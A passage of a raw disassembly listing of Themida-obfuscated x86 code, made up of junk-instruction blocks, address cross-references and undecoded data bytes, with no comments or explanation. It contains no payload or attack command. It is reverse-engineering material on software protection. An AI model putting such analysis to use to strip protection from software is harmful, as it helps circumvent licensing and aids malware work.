--------------------------------------------------------------------------- loc_562BF9: ; CODE XREF: Themida_:00550DFAj sub edx, 45F56612h add edx, ebx push ebp mov ebp, 45F56612h add edx, ebp jmp loc_556648 ; --------------------------------------------------------------------------- aHo db '\hŽ>',0 align 4 dd 0FEEF6FE9h, 0C74FE9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562C1E: ; CODE XREF: Themida_:005599E8j mov eax, 63DD78CAh jmp loc_561287 ; --------------------------------------------------------------------------- dd 4BFh, 5FF90100h, 0BA525150h, 0F475D57h, 0DD9DC281h dd 93E95559h, 66FFFF1Dh, 55240C8Bh, 5404EC83h, 0E924048Fh dd 0FFFFDD28h ; --------------------------------------------------------------------------- loc_562C54: ; CODE XREF: Themida_:005525D2j add esp, 4 jmp loc_553E9F ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C483241Ch, 9BAFE904h, 248BFFFFh, 243C8924h dd 37A29BFh, 0E9F83124h, 0FFFF5854h, 0C281E289h, 4, 4BF57h dd 5FE90000h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C8F: ; CODE XREF: Themida_:0055E223j pop edi jmp loc_550C5D ; --------------------------------------------------------------------------- db 5Bh, 81h, 0E7h dd 2E2276BAh, 4EC81h, 5CE90000h, 0B9FFFED9h, 4, 5559CB01h dd 127CB8BDh, 0ABBE5635h, 8167BE6Eh, 3C4F39F6h, 81D6F70Dh dd 6FA2D1F6h, 5EF531A0h, 2C8BEB29h, 4C48324h, 2474FF53h dd 241C8B04h, 4C481h, 15E90000h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562CE7: ; CODE XREF: Themida_:0055AD70j mov [esp], edi xor dword ptr [esp], 263C615Eh jmp loc_553D68 ; --------------------------------------------------------------------------- dw 0E389h dd 4EC81h, 4890000h, 5570B824h, 0D0F7173Bh, 0DD77F305h dd 7D90E943h, 32BBFFFFh, 0E9354550h, 0FFFF0EEEh, 24048B66h dd 75E268h, 24148900h, 5650E289h, 0FFAF17E9h, 0E9C9FEFFh dd 0FFFFB697h ; --------------------------------------------------------------------------- loc_562D38: ; CODE XREF: Themida_:00561B48j xor edx, [esp] jmp loc_559FC4 ; --------------------------------------------------------------------------- dd 0C8BC801h, 4C48324h, 4EC81h, 3C890000h, 26824h, 14E90000h dd 89FFFFB7h, 2434FFFBh, 4C4835Fh, 8159CB31h, 0FF69D7EAh dd 206EE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D72: ; CODE XREF: Themida_:00554265j xor eax, [esp] mov esp, [esp] bswap eax jmp loc_551393 ; --------------------------------------------------------------------------- db 81h dd 4BC6E8C1h, 59CF019Bh, 0E95FFA29h, 0FFFF4988h, 0FEC5D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_562D95: ; CODE XREF: Themida_:0055684Dj push dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx mov ecx, esp push edi jmp loc_550B9C ; --------------------------------------------------------------------------- loc_562DAA: ; CODE XREF: Themida_:0055E510j mov [esp], edi mov edi, 228672B5h jmp loc_561417 ; --------------------------------------------------------------------------- loc_562DB7: ; CODE XREF: Themida_:00557F5Aj push small 2C8Eh mov [esp], ax jmp loc_54F36D ; --------------------------------------------------------------------------- dd 54241C89h, 0FEF5FAE9h, 5EBD55FFh, 812DA329h, 4ECh, 241C8900h dd 0FF9506E9h, 4B951FFh, 1000000h, 0E88359C8h, 24048704h dd 242C895Ch, 0FF7740E9h db 0FFh ; --------------------------------------------------------------------------- loc_562DF9: ; CODE XREF: Themida_:0056181Aj mov esp, [esp] or ebx, ebx jnz loc_558B42 sub esp, 4 jmp loc_56310F ; --------------------------------------------------------------------------- loc_562E0F: ; CODE XREF: Themida_:00557429j mov esp, [esp] jmp loc_55BE90 ; --------------------------------------------------------------------------- db 59h dd 685EF701h, 185h, 0BD242C89h, 4, 0F0E9EF01h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E2F: ; CODE XREF: Themida_:0055E8BFj mov ebp, 5FB85465h add ebp, 19FC6DF6h sub ebp, 2C3E5E79h and eax, ebp pop ebp jmp loc_5636F4 ; --------------------------------------------------------------------------- loc_562E48: ; CODE XREF: Themida_:00561006j add bl, dl pop edx add bl, al push edx jmp loc_55FB75 ; --------------------------------------------------------------------------- loc_562E53: ; CODE XREF: Themida_:005575F2j mov ebx, [esp] push eax jmp loc_555161 ; --------------------------------------------------------------------------- dd 172D8905h, 4F63052Ah, 0F00113FAh, 0FA4F632Dh, 2D892D13h dd 565E2A17h, 0E866AABEh, 96BD5507h, 81471F04h, 4ECh, 241C8900h dd 0E22B0268h, 0DAF0E97Ah, 0C283FFFEh, 24148704h, 74FF505Ch dd 48B0424h, 4C48324h, 0E924048Fh, 0FFFF6356h ; --------------------------------------------------------------------------- loc_562EAC: ; CODE XREF: Themida_:0055BC34j push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_54F36D ; --------------------------------------------------------------------------- dd 815BDA29h, 4F6575C2h, 0CA814247h, 63BB4207h, 84B2C281h dd 61E90EAFh, 81FFFFE9h, 4C4h, 24048F00h, 0FFE56AE9h, 24B1BAFFh dd 0D2F70F2Fh, 0C281DAF7h, 0FFFFFFFFh, 0FFB0E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_562F05: ; CODE XREF: Themida_:0055AD59j sub esi, 0D45C7EEh sub ebx, esi pop esi shl ebx, 1 shr ebx, 5 push eax mov eax, 62CD3DCh jmp loc_561454 ; --------------------------------------------------------------------------- dw 4AE9h db 0C4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562F23: ; CODE XREF: Themida_:00552D0Bj xor ebp, 2FEA7C1Eh sub ecx, 3205356Ah jmp loc_55058A ; --------------------------------------------------------------------------- dd 0EE81CE01h, 41EF137Eh, 0FF3B16E9h, 43BF57FFh, 0E9340D42h dd 0FFFEF25Dh, 815DEB89h, 1D09C8E3h, 0C7EB8133h, 0E92E8518h dd 0FFFF689Dh ; --------------------------------------------------------------------------- loc_562F60: ; CODE XREF: Themida_:0055C7E3j push edi jmp loc_55BB36 ; --------------------------------------------------------------------------- loc_562F66: ; CODE XREF: Themida_:0055A959j shr ebx, 5 xor ebx, 42DD2DB3h sub edi, ebx pop ebx pop ebp jmp loc_563760 ; --------------------------------------------------------------------------- dd 0F781D7F7h, 7A4BB742h, 0E95FFA29h, 0FFFFC42Ah, 0E5C1D5F7h dd 0E9D5F705h, 0FFFF8A39h ; --------------------------------------------------------------------------- loc_562F94: ; CODE XREF: Themida_:005500FCj or esi, 4DDD0B9Bh push ecx push eax mov eax, 6A2B10B1h mov ecx, 13B4AF2Dh jmp loc_55D5FF ; --------------------------------------------------------------------------- db 0BAh dd 476D103Dh, 0FF878CE9h, 5BDA01FFh, 180CE951h, 0BE56FFFFh dd 0DEFEFF18h, 0E95EF301h, 0FFFF9A73h ; --------------------------------------------------------------------------- loc_562FCC: ; CODE XREF: Themida_:0056375Bj add edx, 4 push eax jmp loc_552C36 ; --------------------------------------------------------------------------- dd 0DA89FB89h, 56CFE95Bh, 4BDFFFFh, 0E9000000h, 0FFFEF5F6h dd 60A7BEh, 5EF0014Dh, 0C0835B59h, 0D6D0E904h, 0F181FFFFh dd 6C4B12CAh, 0FF50A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_563009: ; CODE XREF: Themida_:00557C11j pop ecx push 18AFh mov [esp], edx push esi push 45FDh mov [esp], esp add dword ptr [esp], 4 jmp loc_550433 ; --------------------------------------------------------------------------- db 66h dd 56240C8Bh, 0BD55E689h, 35A3364h, 4EC8345h, 0BB241C89h dd 6B790449h, 0FF4109E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx jmp loc_5556F2 ; --------------------------------------------------------------------------- db 81h, 0F5h, 2Ah dd 0E909E113h, 0FFFF18A9h, 1E3968h, 241C8900h, 241C8B5Eh dd 5D04C483h, 4BEAEE81h, 0C6810D4Fh, 508349AAh, 1303EE81h dd 0C3816815h, 6F502409h, 8BFE9h, 2434FF00h, 0FF7C35E9h dd 6E685CFFh, 8900000Fh, 6BB9240Ch, 0E97DED61h, 0FFFEC607h ; --------------------------------------------------------------------------- loc_5630A8: ; CODE XREF: Themida_:0056323Bj xor esi, eax pop eax push 22C5h mov [esp], ebp jmp loc_5552D4 ; --------------------------------------------------------------------------- dd 6624248Bh, 0E9240489h, 0FFFEC2A9h, 8124348Bh, 4C4h dd 59CA0100h, 0FEF289E9h, 4EC81FFh, 0E9000000h, 0FFFFAF60h dd 0E904C483h, 0FFFFC8E7h ; --------------------------------------------------------------------------- loc_5630E8: ; CODE XREF: Themida_:0056275Cj xchg ebx, [esp] mov esp, [esp] not edx add edx, 4745BF3h and ecx, edx mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55B8FA ; --------------------------------------------------------------------------- loc_56310F: ; CODE XREF: Themida_:00562E0Aj mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_55004E ; --------------------------------------------------------------------------- db 5Ch dd 81242489h, 4ECh, 240C8900h, 468h, 0DFE95900h db 1Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563137: ; CODE XREF: Themida_:0055097Dj push dword ptr [esp] pop edi add esp, 4 add esp, 4 shr eax, 12h xor eax, ecx push 64A1h jmp loc_564621 ; --------------------------------------------------------------------------- loc_563156: ; CODE XREF: Themida_:00550169j sub [esp+4], esi pop esi pop eax sub esp, 4 mov [esp], ecx jmp loc_553F4F ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 594Dh, 89240C89h, 4C181E1h, 83000000h, 2C8904ECh dd 0C401E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563186: ; CODE XREF: Themida_:005618A8j add edx, 4 push 4EB3h jmp loc_55B627 ; --------------------------------------------------------------------------- aLHc0 db '‹<$hç0',0 align 2 dw 3C89h dd 0D1F4E924h, 0E280FFFEh, 96E2800Eh, 49C280h, 0D8285AD3h dd 81241C8Bh, 4C4h, 4D00000h, 98C2E94Ch, 0EA81FFFFh, 0BEE619Ch dd 0EC81595Eh, 4, 0E9241489h, 0FFFED17Ch, 4C781h, 0C7810000h dd 4, 5C243C87h, 565A5452h, 4BEh, 5EF20100h, 0CBD0E955h dd 5105FFFFh, 5F5F1548h, 8B240487h, 85662424h, 5AE99CC8h dd 5CFFFEC1h, 797DBF57h, 4EE93A9Dh db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56321F: ; CODE XREF: Themida_:0055A8FFj pop esp or ecx, eax pop eax push eax jmp loc_56007B ; --------------------------------------------------------------------------- loc_563229: ; CODE XREF: Themida_:00552D26j push 7BCF0EBCh pop esi sub esi, 40C336F4h push eax mov eax, 394330D8h jmp loc_5630A8 ; --------------------------------------------------------------------------- dd 0C681D6F7h, 24560A8Bh, 619CC281h, 0F2290BEEh, 0FFFF71E9h db 0FFh ; --------------------------------------------------------------------------- loc_563255: ; CODE XREF: Themida_:0055C9C5j push edx mov edx, 7E347CAEh sub edx, 0F2293401h xor ecx, edx pop edx jmp loc_561F78 ; --------------------------------------------------------------------------- db 64h, 66h, 0Fh dd 0EC8302B6h, 24148904h, 0FF6A8DE9h, 4C481FFh, 57000000h dd 753BAEBFh, 14F78147h, 0F7512B3Fh, 4FD7F7D7h, 7CFCE781h dd 0EF817B47h, 0D44103F2h, 815FF921h, 4ECh, 241C8900h dd 5C3608BBh, 4C1EE96Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5632B2: ; CODE XREF: Themida_:005516ABj pop ebp push eax mov eax, 34000B12h add [esp+8], eax mov eax, [esp] jmp loc_557728 ; --------------------------------------------------------------------------- db 5Ch, 31h, 4 dd 0FE99C24h, 53FFFF9Dh, 576556BBh, 99A3E915h, 0C181FFFFh dd 4, 4BE56h, 0F1290000h, 66EE95Eh, 0F0680000h, 89000014h dd 7EB9240Ch, 56333979h, 0FC67EABEh, 0E9DEF757h, 0FFFEC571h dd 83241C8Bh, 0E7C004C4h, 54F78007h, 5EB25266h, 8B66D728h dd 9BE92414h, 81FFFF2Eh, 6362D2E9h, 7E9C149h, 0F0B9C181h dd 0AE91C65h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563337: ; CODE XREF: Themida_:00559260j push edi jmp loc_5514B7 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0C5h dd 0E96D343Bh, 0FFFFCDFCh ; --------------------------------------------------------------------------- loc_563348: ; CODE XREF: Themida_:005597BBj push edi not dword ptr [esp] pop edi jmp loc_55E302 ; --------------------------------------------------------------------------- dw 483h dd 815D0424h, 4C5h, 4685300h, 5B000000h, 0FF44C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_563369: ; CODE XREF: Themida_:00552F7Aj pop small word ptr [edi+eax*4] jmp loc_55E25E ; --------------------------------------------------------------------------- dw 0D0F7h dd 68016E35h, 2DD0F737h, 0FDF81B22h, 2958C301h, 54EB81D3h dd 0E9177019h, 0FFFF667Ch ; --------------------------------------------------------------------------- loc_563390: ; CODE XREF: Themida_:00560A14j pop edi jmp loc_56033E ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 2C000000h, 0E9D0F601h, 0FFFF74FBh ; --------------------------------------------------------------------------- loc_5633A8: ; CODE XREF: Themida_:0055D594j and eax, 629659D2h not eax or eax, 74E02AC2h sub eax, 0F52C78A4h add edi, eax pop eax sub edi, 0B9C4A93h sub edi, eax add edi, 0B9C4A93h sub edi, 8D1765Bh pop eax push edi sub esp, 4 mov [esp], ebp mov ebp, 6F0D5D16h jmp loc_559A7D ; --------------------------------------------------------------------------- loc_5633E5: ; CODE XREF: Themida_:0055F6E1j mov ebp, 10h mov edx, ebp jmp loc_552A39 ; --------------------------------------------------------------------------- db 0B5h, 28h, 66h dd 0FEEF8853h, 66FD88C7h, 5EDC05Bh, 0F6FFC580h, 0E9DDF6DDh dd 0FFFEDB47h, 3F48C181h, 0C8012BBFh, 0F3CE959h, 0BF570000h dd 4, 0FF326FE9h, 0DD015EFFh, 7CED81h, 0E95B5085h, 0FFFEF117h ; --------------------------------------------------------------------------- loc_563434: ; CODE XREF: Themida_:0054F9B5j pop ebp sub ecx, ebx mov ebx, [esp] add esp, 4 and ecx, 2BE76645h push 43AFh mov [esp], edi sub esp, 4 mov [esp], ecx push edi jmp loc_54F980 ; --------------------------------------------------------------------------- dw 51ADh dd 5903F0B9h, 1F48E921h, 0E2C1FFFFh, 0FFBB5307h, 29FFFFFFh dd 0E9555BDAh, 0FFFFCFA3h, 0BD242C89h, 0FFFFFFFFh, 2917C281h dd 0EA016D40h, 2917EA81h, 83E96D40h, 87FFFF45h, 665C241Ch dd 0E95CB551h, 0FFFEE357h, 6824248Bh, 14CDh, 0FFD544E9h dd 0F6B850FFh, 21303704h, 0C7E4E9C3h, 0C381FFFEh, 7C337580h dd 6824348Bh, 4474h, 89240489h, 405E0h, 0ACE90000h, 89FFFFB8h dd 89682404h, 8B04D106h, 0C4832404h, 68DB904h, 0C13104D1h dd 86B85058h, 0E93DCD71h, 0FFFFE567h, 80DAB753h, 0CFFEE6EFh dd 0E96DEF80h, 0FFFF38DAh, 5C240C87h, 2548E8D1h, 7D1B7D01h dd 0FF0691E9h, 8BE829FFh, 0E955242Ch, 0FFFFE0BCh, 0F681D687h dd 0B1BC4E59h, 0E95EF131h, 0FFFF9E4Eh, 8B04C483h, 59E9242Ch dd 8BFFFF05h, 0C483241Ch, 4EC8304h, 54241C89h, 4C3815Bh dd 0E9000000h, 0A8Ch, 8704C083h, 248B2404h, 5EF02124h dd 0C5E9C209h, 0B8FFFF74h, 61DA5C15h, 8158C531h, 0B93FA4EDh dd 6843h, 2C290000h, 0B8505D24h, 617ED9EAh, 0FF229FE9h dd 41ED81FFh, 8B425134h, 0EC832404h, 573BE904h, 49BBFFFFh dd 680D5D25h, 665Bh, 0BD242C89h, 57B47D0Ch, 0E904EC83h dd 0FFFF5FA4h ; --------------------------------------------------------------------------- loc_5635B8: ; CODE XREF: Themida_:00555359j push edx jmp loc_55B2D6 ; --------------------------------------------------------------------------- aIusn db '‰ãé',0Bh,0 db 0 ; --------------------------------------------------------------------------- loc_5635C5: ; CODE XREF: Themida_:0055AE09j xor ch, 0A7h jmp loc_55AF9D ; --------------------------------------------------------------------------- loc_5635CD: ; CODE XREF: Themida_:00551EF0j pop edx push edi jmp loc_55AC4F ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 4EA8100h, 0E9000000h, 0FFFFA9DDh, 184FE95Ah dd 248BFFFFh, 2434FF24h, 6824048Bh, 3FA9h, 89240C89h, 9651E9E1h dd 0E95CFFFFh, 0FFFFEDF4h, 6FBD555Eh, 8114295Fh, 0F947DFC5h dd 0BBF5811Ch, 45396C6Eh, 507AF581h, 0F5816FBDh, 2976BE41h dd 0E95DE829h, 0FFFF3A9Bh, 807EC780h, 0E9593EC7h, 0FFFFF3C1h ; --------------------------------------------------------------------------- loc_563640: ; CODE XREF: Themida_:00557B82j sub edx, 2D91218Bh mov ebp, [esp] add esp, 4 jmp loc_564736 ; --------------------------------------------------------------------------- db 80h, 0C5h, 4 dd 5006E5C0h, 0C50047B0h, 17EB8058h, 0C380EB28h, 0DA885917h dd 0DCB5515Bh, 0FF83F7E9h, 98E956FFh, 0E9FFFF1Ah, 0FFFEBCF1h dd 13F1CF81h, 0EFC158CAh, 0F11DE905h, 8B66FFFEh, 5450240Ch dd 81E95758h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563697: ; CODE XREF: Themida_:0055BFF1j push edx mov edx, 2000h mov ebp, edx pop edx push 1829h mov [esp], ebp jmp loc_559073 ; --------------------------------------------------------------------------- db 0E9h, 0BBh, 0BCh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5636B2: ; CODE XREF: Themida_:0055D60Dj push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp jmp loc_55B512 ; --------------------------------------------------------------------------- db 56h, 0BEh, 10h dd 0E904177Ah, 0FFFF8209h, 313468h, 24048900h, 32321FB8h dd 35EA0D22h, 572D5AFDh, 2945871Ah, 0E95958C7h, 0FFFF27B9h ; --------------------------------------------------------------------------- loc_5636F4: ; CODE XREF: Themida_:00562E43j and eax, 681D168Eh push ecx jmp loc_55F903 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 235Dh, 0E9240489h, 0FFFFE462h, 8904EC83h dd 0E0892404h, 405h, 67BB5300h, 0C1011A0Ah, 0EB8103E3h dd 1, 5333F381h, 0D82908D0h, 5B2434FFh, 81E28952h, 4C2h dd 0F74CE900h, 0ED81FFFFh, 7421982h, 0FF9B2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_563751: ; CODE XREF: Themida_:00561F44j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_562FCC ; --------------------------------------------------------------------------- loc_563760: ; CODE XREF: Themida_:00562F73j push ebp mov ebp, 2D4503AEh sub edi, ebp pop ebp shr edi, 1 dec edi jmp loc_55096C ; --------------------------------------------------------------------------- db 0BBh, 0A5h, 16h dd 0E3811E63h, 73E1203Bh, 5800EB81h, 0E3C16DA8h, 51E38103h dd 0E95CFE01h, 0FFFF0AEEh, 5C24048Fh, 0FF5461E9h, 2474FFFFh dd 48F5F04h, 24248B24h, 0FF7267E9h, 2C8766FFh, 1C8B6624h dd 9BD7E924h, 0E1BBFFFFh, 0E970F12Ah, 0FFFF8C36h, 0EDEB8158h dd 1000034h, 0C6815BDEh, 4, 5C243487h, 722668h, 242C8900h dd 506C83BDh, 0FCD8133h, 8161AF49h, 24AD30C5h, 1EC381D8h dd 57289956h, 0F86BA52h, 0F2815DB6h, 7CF3163h, 0F35EA81h dd 0EA817699h, 0D94FCA75h, 295AD789h, 0BD555FFBh, 1479230Ah dd 0FDF1C581h, 0EB01FE81h, 81242C8Bh, 4C4h, 66EB8100h dd 137D327h, 66C381EBh, 8137D327h, 0FB20FBEBh, 3BC38112h dd 810A9065h, 99561EEBh, 3F7FE928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56384E: ; CODE XREF: Themida_:005602A6j xchg eax, [esp] jmp loc_55B99F ; --------------------------------------------------------------------------- loc_563856: ; CODE XREF: Themida_:00556AAAj xor edi, [esp] xor [esp], edi xor edi, ebx xor ebx, edi xor edi, ebx xchg esi, ebx jmp loc_55EF43 ; --------------------------------------------------------------------------- loc_563869: ; CODE XREF: Themida_:005594EAj add edx, 4 xchg edx, [esp] pop esp jmp loc_5534D2 ; --------------------------------------------------------------------------- loc_563878: ; CODE XREF: Themida_:0055F5D9j push esi mov esi, ecx mov edx, esi pop esi pop ecx add esi, edx pop edx add esi, 4 xchg esi, [esp] pop esp sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5547BC ; --------------------------------------------------------------------------- db 51h dd 4C76BFB9h, 8AC9810Ah, 0E923086Fh, 0FFFECEADh ; --------------------------------------------------------------------------- loc_5638A8: ; CODE XREF: Themida_:0055E1D5j mov edi, esp jmp loc_553550 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 0E29BE900h, 0E95FFFFEh, 0FFFFB5C5h ; --------------------------------------------------------------------------- loc_5638C0: ; CODE XREF: Themida_:0055C703j mov [esp], edi push ebx jmp loc_560829 ; --------------------------------------------------------------------------- db 50h, 81h, 2Ch dd 5F796D24h, 0C7815F3Dh, 3D5F796Dh, 0E924048Bh, 0FFFFE557h dd 666268h, 240C8900h, 50B768h, 24048900h, 8335268h, 2434FF18h dd 0C777E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638FE: ; CODE XREF: Themida_:0055768Cj mov eax, 1C010D20h add eax, 66133025h add eax, 0FFFFFFFFh not eax xor eax, 7DEBC2BFh jmp loc_55B4FB ; --------------------------------------------------------------------------- db 81h, 0EBh, 1 dd 29EF2762h, 0C8B5BDDh, 4C48324h, 7B685051h, 58134835h dd 0FF1E05E9h db 0FFh ; --------------------------------------------------------------------------- loc_563935: ; CODE XREF: Themida_:005606C9j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push dx push eax mov ah, 48h push ebx push ecx jmp loc_552125 ; --------------------------------------------------------------------------- dd 0E1E9F301h, 66FFFFDCh, 0E924048Bh, 0FFFF9A19h, 3FAA68h dd 240C8900h, 42474FFh, 0FF0357E9h db 0FFh ; --------------------------------------------------------------------------- loc_56396D: ; CODE XREF: Themida_:0055F90Dj sub eax, ecx sub eax, 4E3A7A19h pop ecx push 7CA0h mov [esp], eax sub dword ptr [esp], 5F527EA3h pop ebx add ebx, 5F527EA3h pop eax sub ebx, 232E4C2Bh add ebx, edi add ebx, 232E4C2Bh push edx mov edx, 0 add edx, 18E566Ch add edx, ebx sub edx, 18E566Ch sub esp, 4 mov [esp], ecx jmp loc_552BCB ; --------------------------------------------------------------------------- dd 0EE89665Eh, 0E6C1665Dh, 0CE816605h, 0C166790Eh, 816607E6h dd 66B1FCEEh, 665EF289h, 8166DAF7h, 663D2CF2h, 0F766EAD1h dd 0F28766D2h, 0FED071E9h db 0FFh ; --------------------------------------------------------------------------- loc_5639ED: ; CODE XREF: Themida_:0056420Aj pop edi jmp loc_55EA37 ; --------------------------------------------------------------------------- db 87h dd 248B2414h, 8150E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5639FE: ; CODE XREF: Themida_:00558BC8j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 2CFAh push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55270D ; --------------------------------------------------------------------------- loc_563A1D: ; CODE XREF: Themida_:0055BEADj xor edx, ecx pop ecx sub edx, 0DF9F2833h add ebp, edx pop edx xchg ebp, [esp] pop esp add esp, 4 push ebp mov ebp, 75DB624Fh push 698h mov [esp], ebx mov ebx, 557F796Eh add ebp, 50BC0833h add ebp, ebx sub ebp, 50BC0833h pop ebx xchg esi, ebp not esi xchg esi, ebp push edx mov edx, 1609484Dh add edx, 32787DD4h and edx, 4070736Eh neg edx sub edx, 7F97916Ch xor ebp, edx pop edx xor eax, ebp pop ebp push edx push esi jmp loc_55E6E8 ; --------------------------------------------------------------------------- db 81h dd 762BE5F5h, 57DDF701h, 753F7EBFh, 0B4CF817Eh, 5109E11Fh dd 0FF5ECDE9h db 0FFh ; --------------------------------------------------------------------------- loc_563A99: ; CODE XREF: Themida_:0055BBF1j pop esp add eax, 1DBD555Dh add eax, 637D24h sub eax, esi sub eax, 637D24h push ecx mov ecx, 1DBD555Dh sub eax, ecx pop ecx add eax, 29940799h pop esi jmp loc_55C088 ; --------------------------------------------------------------------------- db 88h dd 0BBB45AF3h, 84E9DC28h, 8BFFFF4Ah, 0E952240Ch, 0FFFEC69Ah dd 8B241433h, 3F682424h, 89000062h, 0D1E9240Ch, 81FFFEEEh dd 241897C3h, 5BD9298Ch, 0C159CB09h, 0EBC108EBh, 0F1B85004h dd 0E9307035h, 0FFFF34BFh, 8124148Bh, 4C4h, 0BEA8E900h dd 8468FFFFh, 0E90E565Eh, 0FFFFD828h, 1B25D0F7h, 354DB545h dd 0F1A983DAh, 2B6DC681h, 25E912B3h, 68FFFEE3h, 1A01h dd 54240489h, 40558h, 0C0830000h, 74FF5004h, 8E90424h dd 1FFFF8Ah, 24348BF3h, 0FFE747E9h db 0FFh ; --------------------------------------------------------------------------- loc_563B59: ; CODE XREF: Themida_:00561ED1j add edi, 4 push 100Ah mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_55A7BA ; --------------------------------------------------------------------------- dw 0E981h dd 5B09F64Ch, 0E959CF09h, 0FFFF9563h ; --------------------------------------------------------------------------- loc_563B7C: ; CODE XREF: Themida_:00557302j and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 push edi push esi mov esi, 53414F6Ch jmp loc_552ED3 ; --------------------------------------------------------------------------- dw 1C89h dd 66BE5624h, 0BB77616Eh, 77616E6Ah, 34FFF329h, 1A6AE924h dd 4768FFFFh, 0E9000539h, 0FFFF1EBCh, 83BB535Fh, 2902AE58h dd 0D495E9D9h, 0F800FFFEh, 0FFE5C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_563BD1: ; CODE XREF: Themida_:00555ECFj mov ebp, [esp] add esp, 4 mov ebx, [esp] jmp loc_5518A8 ; --------------------------------------------------------------------------- dw 5FB9h dd 31759B3Fh, 2434FFC1h, 730AE958h, 0BA52FFFFh, 378B2D20h dd 0F281DAF7h, 0C874D2E4h, 835AD601h, 348704EEh, 973BE924h dd 0FF53FFFFh, 5B042474h, 5C24048Fh, 4C381h, 0C3810000h dd 4, 8B241C87h, 27E92424h, 59FFFF94h, 8B245F89h, 0E952241Ch dd 0FFFF7820h ; --------------------------------------------------------------------------- loc_563C3C: ; CODE XREF: Themida_:0055CCC3j mov [esp], ebp mov esi, [esp] push eax mov eax, esp sub esp, 4 mov [esp], edi jmp loc_5586A7 ; --------------------------------------------------------------------------- dd 5304C483h, 5E53BF57h, 81570C87h, 4AA1242Ch, 815B49A7h dd 0A74AA1C3h, 0E94B5F49h, 0FFFFA7B3h, 4BBh, 245C0100h dd 1C8B5B04h, 0E3895324h, 4C381h, 0C3810000h, 4, 0FFFF7DE9h dd 43ED81FFh, 81762F44h, 0D23645EDh, 24048B25h, 5B04C483h dd 8B242C87h, 3CD22424h, 6BE99C24h, 54FFFFF2h, 662E9h dd 88C68100h, 0E920672Fh, 0FFFECE59h, 2F969505h, 38428903h dd 38722958h, 5E2434FFh, 4C481h, 0EC830000h, 24148904h dd 0BF57E289h, 4, 0FFC994E9h, 4C781FFh, 83000000h, 3C3304C7h dd 0C66BE924h, 0FB05FFFEh, 291BF73Eh, 48B58C7h, 4C48324h dd 4C781h, 3C870000h, 0F8ECE924h, 0F531FFFFh, 0BF57555Eh dd 598C55A8h, 0FFD05CE9h db 0FFh ; --------------------------------------------------------------------------- loc_563D29: ; CODE XREF: Themida_:0055BF52j pop esp jmp loc_55D605 ; --------------------------------------------------------------------------- db 53h dd 0B504D3BBh, 4D7B945h, 77E945B5h, 0BBFFFF42h, 2, 800BBC2Dh dd 0E953h, 0D8010000h, 0CC6BE953h, 0F0B8FFFFh, 9149371h dd 6858C1h, 0E9000000h, 0FFFEC6E9h, 7357685Ch, 4890000h dd 2474FF24h, 48F5804h, 0B266E924h, 815AFFFFh, 337580EBh dd 92E3E97Ch, 0DEE9FFFFh db 0B5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563D8F: ; CODE XREF: Themida_:00551306j add esp, 4 push 5758h mov [esp], ecx push eax mov al, 0CDh mov cl, al pop eax push edx mov dh, 4 add al, dh pop edx sub al, cl jmp loc_55BE89 ; --------------------------------------------------------------------------- db 81h, 0CAh, 14h dd 9256D430h, 0FFB80AE9h, 0D4C280FFh, 535AD788h, 12454F6h dd 0FFF53FE9h db 0FFh ; --------------------------------------------------------------------------- loc_563DC9: ; CODE XREF: Themida_:0055CF40j sub ecx, 63A62606h pop eax xor esi, ecx mov ecx, [esp] add esp, 4 and eax, esi mov esi, [esp] jmp loc_560A85 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FEE0E1E9h, 243C87FFh, 2ED815Ch, 33000000h, 78E9242Ch dd 81FFFFC0h, 6BBEA4F2h, 5AD78936h, 5BE9F801h db 0BEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563E0F: ; CODE XREF: Themida_:00559BC8j push eax jmp loc_55BC7F ; --------------------------------------------------------------------------- loc_563E15: ; CODE XREF: Themida_:00559C12j push dword ptr [esp] pop edi jmp loc_557BA7 ; 